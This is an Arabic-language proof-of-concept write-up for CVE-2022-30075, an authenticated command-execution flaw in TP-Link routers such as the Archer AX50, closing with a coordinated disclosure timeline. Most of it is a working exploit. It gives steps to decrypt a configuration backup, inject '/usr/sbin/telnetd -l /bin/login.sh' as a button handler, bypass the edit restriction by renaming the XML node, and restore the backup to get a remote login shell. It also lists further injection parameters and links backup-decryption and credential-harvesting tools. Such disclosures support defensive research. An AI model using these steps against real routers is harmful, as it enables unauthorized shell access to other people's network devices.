CVE-2022-30075

تنفيذ الأوامر عن بُعد مع المصادقة في راوترات Tp-Link

الأجهزة المتأثرة

إذا كان راوتر Tp-Link الخاص بك يدعم وظيفة النسخ الاحتياطي والاستعادة، وكان إصدار البرنامج الثابت أقدم من يونيو 2022، فمن المحتمل أن يكون عرضة للخطر.

تم الاختبار على

Tp-Link Archer AX50، قد تستخدم راوترات tplink الأخرى تنسيقًا مختلفًا للنسخ الاحتياطي، ويجب تعديل الثغرة الاستغلالية.

إثبات المفهوم (PoC)

استخدام الثغرة الاستغلالية لتشغيل خادم telnet على الراوتر

الاستغلال اليدوي

1. تسجيل الدخول إلى واجهة الويب للراوتر
2. الانتقال إلى إعدادات متقدمة -> النظام -> إعدادات النسخ الاحتياطي
3. فك تشفير وفك ضغط ملف النسخ الاحتياطي

• إذا كان الراوتر الخاص بك يستخدم تنسيقًا مختلفًا لملفات النسخ الاحتياطي، يمكنك تعديل كود الثغرة (فئة BackupParser) أو ببساطة استخدام أداة من GitHub: https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py https://github.com/ret5et/tplink_backup_decrypt_2022.bin ...

4. في ملف XML المفكوك، يمكنك العثور على شيء كهذا:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• استبدله بهذه الأسطر:

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• يوجد تقييد يمنع تعديل المعامل system.button.handler، ولكن يمكن تجاوزه بسهولة بتغيير اسم العقدة الأصلية في XML (مثل name="exploit")
• يمكن تحقيق تنفيذ الأوامر ليس فقط بتغيير المعامل system.button.handler، بل أيضًا باستخدام ddns.service.ip_script، firewall.include.path، uhttpd.main، وغيرها...

5. ضغط وتشفير ملف النسخ الاحتياطي المعدّل
6. الانتقال إلى إعدادات متقدمة -> النظام -> استعادة الإعدادات -> تحميل ملف النسخ الاحتياطي المعدّل
7. بعد إعادة التشغيل، اضغط على زر الـ LED الذي يؤدي إلى تشغيل الأمر المحقون /usr/sbin/telnetd -l /bin/login.sh
8. تسجيل الدخول عن بُعد إلى الراوتر: telnet 192.168.1.1

الجدول الزمني

15.03.2022 - تم اكتشاف الثغرة 15.03.2022 - تم الاتصال بدعم Tp-Link 16.03.2022 - تم تلقي رد من Tp-Link 02.05.2022 - تم تعيين رقم CVE 27.05.2022 - أصدرت Tp-Link إصدار برنامج ثابت يحتوي على إصلاح للثغرة 07.06.2022 - تم نشر التفاصيل الفنية